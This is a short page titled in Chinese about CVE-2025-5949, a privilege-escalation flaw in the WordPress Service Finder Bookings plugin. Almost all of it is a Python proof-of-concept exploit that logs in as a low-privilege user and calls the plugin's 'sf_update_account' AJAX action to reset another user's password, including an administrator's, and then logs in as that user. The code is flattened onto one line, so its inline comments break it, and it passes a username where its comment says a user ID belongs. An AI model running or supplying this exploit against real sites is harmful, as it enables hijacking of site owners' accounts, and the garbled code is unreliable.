CVE-2025-5949 WordPress Service Finder Bookings插件特权提升漏洞

import requests # CVE-2025-5949 PoC - Service Finder Bookings Plugin Account Takeover # Target: WordPress site with Service Finder Bookings plugin <= 6.0 TARGET_URL = "https://vulnerable-site.com" ATTACKER_USERNAME = "attacker" ATTACKER_PASSWORD = "attacker_password" TARGET_USERNAME = "admin" # Target can be any user including admin NEW_PASSWORD = "Pwned123!" session = requests.Session() # Step 1: Login as low-privilege user login_url = f"{TARGET_URL}/wp-login.php" login_data = { "log": ATTACKER_USERNAME, "pwd": ATTACKER_PASSWORD, "wp-submit": "Log In" } resp = session.post(login_url, data=login_data) print(f"Login status: {resp.status_code}") # Step 2: Exploit password change vulnerability # The plugin does not properly validate user identity before password change change_password_url = f"{TARGET_URL}/wp-admin/admin-ajax.php" exploit_data = { "action": "sf_update_account", "user_id": TARGET_USERNAME, # Target user ID "new_password": NEW_PASSWORD, "confirm_password": NEW_PASSWORD } resp = session.post(change_password_url, data=exploit_data) print(f"Exploit status: {resp.status_code}") print(f"Response: {resp.text}") # Step 3: Login with new password target_login = f"{TARGET_URL}/wp-login.php" target_data = { "log": TARGET_USERNAME, "pwd": NEW_PASSWORD } resp = session.post(target_login, data=target_data) print(f"Account takeover: {'Success' if 'logged-in' in resp.text else 'Failed'}")